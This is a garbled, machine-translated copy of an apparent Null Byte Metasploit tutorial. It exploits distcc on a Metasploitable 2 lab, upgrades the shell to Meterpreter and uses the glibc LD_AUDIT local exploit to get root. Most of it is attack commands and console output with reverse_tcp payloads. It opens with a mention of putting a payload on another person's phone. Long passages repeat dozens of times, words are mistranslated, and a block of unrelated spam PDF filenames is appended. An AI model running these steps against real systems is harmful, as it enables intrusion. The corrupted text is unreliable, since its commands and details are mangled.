



## Android privilege escalation metasploit

I was able to put a payload on the phone of a person, but I can not do anything because I could not help © privilege escalation is a vast field and can be one of the most frustrating yet rewarding phases of an attack. We could go manual, but, as always, Metasploit makes it easy to perform local privilege escalation and get root with his exploits suggester module. To rush through the process, we are using Linux as Kali machine to attack and Metasploitable 2 as a goal. You can set or use a similar pentesting Lab A or the same à ¢ to follow the guide below. The first thing we need to do is get a session with low privileges on the target. We can easily do it with Metasploit Framework console [-] \*\*\* rting Metasploit. Asfconsole [-] \*\*\* rting Metasploit. Msfconsole [-] \*\*\* rting Metasploit.  $\frac{1}{3} = \frac{1}{3} = \frac{1$ arbitrary commands on server. We can try using the exploit the search command: msf5> distcc look at Modules == ===== # Name Disclosure Date Rank check Description - ---- exploits 0 / unix / misc / distcc exec 2002-02-01 excellent workmanship Yes DistCC Daemon command to load the module, type of use followed by the full path of the form: msf5> exploits use / unix / misc / distcc exec We can now see the available settings with the command options: msf5 exploit (unix / misc / distcc exec)> options module (exploit / unix / misc / distcc exec)> options module CIDR identifier RPORT 3632 is the destination port (TCP) Exploit goal: Id Name - --- 0 automatic redirect it looks like we just need to set the address of the remote port it " already set with the port number pr it is defined. Use the set command to specify the appropriate IP address of the target: msf5 exploit (unix / misc / distcc exec)> rhosts September 10.10.0.50 rhosts => 10.10.0.50 we are now ready to launch the exploit. Use the Run command, which is shorter aliases to exploit: msf5 exploit (unix / misc / distcc exec)> run [\*] Started TCP Double Manager On 10.10.0.1:4444 [\*] accepted the first connection of the client ... [\*] accepted the second client connection ... [\*] command: echo swi9yfqybpxuigrh; [\*] The writing to [\*] writing to socket B [\*] Reading from ... [\*] Reading from socket B [\*] B: "Swi9YFQYBPXUIGRH" [\*] correspondence. .. [\*] one is the entrance ... [\*] Shell command session 1 open open -> 10.10.0.50:58006) at 19/11/2019 11:46:02 -0500 metasploitable uname -a Linux 2.6.24-16-server # 1 SMP Thu, 10 Apr 13:58:00 UTC 2008 i686 GNU / Linux we can see that a command shell was opened, and the execution of uname occurs we compromise the target. To use Metasploit exploit local suggester, we need to update our basic Unix shell commands to a Meterpreter session. While still in the shell of the basic commands, press Ctrl-Z for background session. Hit Y if you ask background it. Background of one session? [Y / N] y msf5 exploit (unix / misc / distcc\_exec)> We are now fallen back to the main Metasploit ready, and we are able to verify all of the sessions that we have running in the background with the command sessions: msf5 exploit (unix / misc / distcc\_exec)> sessions active sessions ======= Id Name type connection information - ---- 1 shell cmd / unix 10.10.0.50;58006 (10.10.0.50;58006 (10.10.0.50), the easiest way to update a shell of a regular session is to Meterpreter use the -u flag, followed by the session number for the upgrade: msf5 exploit (unix / misc / distcc exec)> -u sessions 1 [\*] Running 'mail / Multi / manage / shell to meterpreter' in the session (s): [1] [\*] update session ID: 1 [\*] starting exploits / / handler more [\*] TCP handler reverse Started 10.10.0.1:4433 [\*] the phase sending (985,320 bytes) for 10.10.0.50 [\*] Meterpreter session 2 opened (10.10.0.1:443 3 -> 10.10.0.50:32979) at 06/19/2019 11:47:52 -0500 [\*] Command progress stager: 100.00% (773/773 bytes) We can see the post form racing and a new session is opened. We can still verify this with the command sessions: msf5 exploit (unix / misc / distcc exec) > sessions Active Sessions ======= Id Name Type connection information - ---- 1 shell cmd / unix  $10.10.0.1:4444 \rightarrow 10.10.0.50:58006$  (10.10.0.50) 2 meterpreter x86 / linux uid = 1, gid = 1, euid = 1, eu interaction with 2 ... meterpreter > Metasploit message work modules running on a background session, not directly during the session, what ¬ session 2 background (our Meterpreter shell) and return to the main prompt. We can then load the local exploits suggester using the following command: msf5 exploit (unix / misc / distcc\_exec) > after use / Multi / Recon / local exploit suggester When we look at the options, we only need to specify the session that we want to run this on mail msf5 (multi / Recon / local exploit suggester) > options module options (message / Multi / Recon / local exploit suggester): current name setting request Description ---- ves session session to run this form of SHOWDESCRIPTION false yes view a detailed description for businesses available is enough to set the number of 2nd session => 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 math kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi / Recon / local exploit suggester)> run [\*] 10.10.0.50 - 2 and type run to kick off: msf5 pole (multi local exploits Collection x86 / linux ... [\*] 1 0.10.0.50 - 26 controls exploits are on trial ... [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - Exploit / linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc: The t Arget appears to be vulnerable opens. [+] 10.10.0.50 - E netfilter priv esc ipv4: The destination is displayed to be vulnerable. [\*] Message execution form completed We can see the form controls a number of local exploits to get root on the system. We will try the first one that was suggested to us. This exploit exploits a vulnerability in the dynamic Libc linker, in which the environmental variable LD\_AUDIT allows uploading a SetuUd Setuid which eventually runs with root privileges. MSF5 Post (Multi / Recon / Local\_Exploit SeggiSter) > Use Exploit / Linux / Local / Glibc ld\_Audit\_dso\_load\_priv\_esc Looking at the options, we just need to reset the session  $\tilde{A} \notin \neg$  "The default executable path will work for now: MSF5 Exploit (Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> form Options (Exploit / Linux / Loc Yes Yes Path to an sUID Executable Exploit (Linux / local / Glibc ld autit dso load priv esc)> set session 2 session => 2 We can also set the payload to give us another Meterpreter session when the exploit (Linux / local / Glibc ld autit dso load priv esc local)> set payload linux / x86 / met erpreter / reverse\_tcp payload => linux / x86 / meterpreter / reverse\_tcp and set the appropriate listening host (IP address our local machine), and port: msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 Lhost => 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost 10.10.0.1 msf5 exploit (linux / local / glibc\_ld\_audit\_dso\_load\_priv\_esc)> set Lhost lport 4321 => 4321 Finally, type Run to start exploit: exploit MSF5 (Linux / Local / glibc LD Audit dso load priv esc)> Run [\*] Started reverse the TCP manager [+] the target seems to be vulnerable [\*] using target: Linux X86 [\*] Writing '/tmp/.brzu4n' (1271 bytes) ... [\*] Writing '/ TMP /.18QZUT '(281 bytes) ... [\*] Writing' /TMP/.DOIFWLXPT '(207 bytes) ... [\*] Starting the launch Exploit ... [\*] sending Stage (985,320 bytes) 10.10.0.50 in [\*] of meterpreter 3 Open session (10.10.0.50 in [\*] of me gained access to the root: Mimetpreter> shell process 4886 created. 1 Channel created. ID UID = 0 (root) gid = 0 (root) groups = 1 (daemon) - a Linux Uname metasploabile 2,6.24-16-Server # 1 SMP THU April 10 13:58:00 UTC 2008 i686 GNU / Linux in this tutorial, we learned how to use Metasploit to get a shell on target, update shell for a Meterpreter session, and use the local suggester module exploits ultimately get root on the system. Metasploit not only makes the initial utilization easier but also the post-exploitation phase. In the next article, we'll explore some useful post forms to collect information quickly sull'objettivo. Nessunto: how to quickly collect target information with Post Metasploit modules want to start making money as white hackers? Jump-Start Your Career hacking with our Bundle certification premium ethics in 2020 by the new NULL bytes store and get over 60 hours of training Cybersecurity Professionals. Buy hours (90% discount) Training > Other gains offered by check : Cover Pixabay / PEXELS; Screenshot DRD / NULL BYTE BYTE

indian economy book class 12 pdf nausicaa of the valley of the wind full movie download 20210901185929.pdf cube escape paradox mod apk real-life discipleship training manual answers gabenusigusuxe.pdf dawafima.pdf 2217221142.pdf all upper body muscle groups sawizep.pdf emdr app for android a mighty fortress is our god hymn pdf common roof types tinieblas y amanecer tolstoi pdf 1613c5ad2196fa---93009610617.pdf murphy basic grammar in use pdf 60218628259.pdf 47145535465.pdf 79562554200.pdf 1612fd0a81ee6f---kixaniguf.pdf pitamekugaxemevof.pdf 2021090919122174.pdf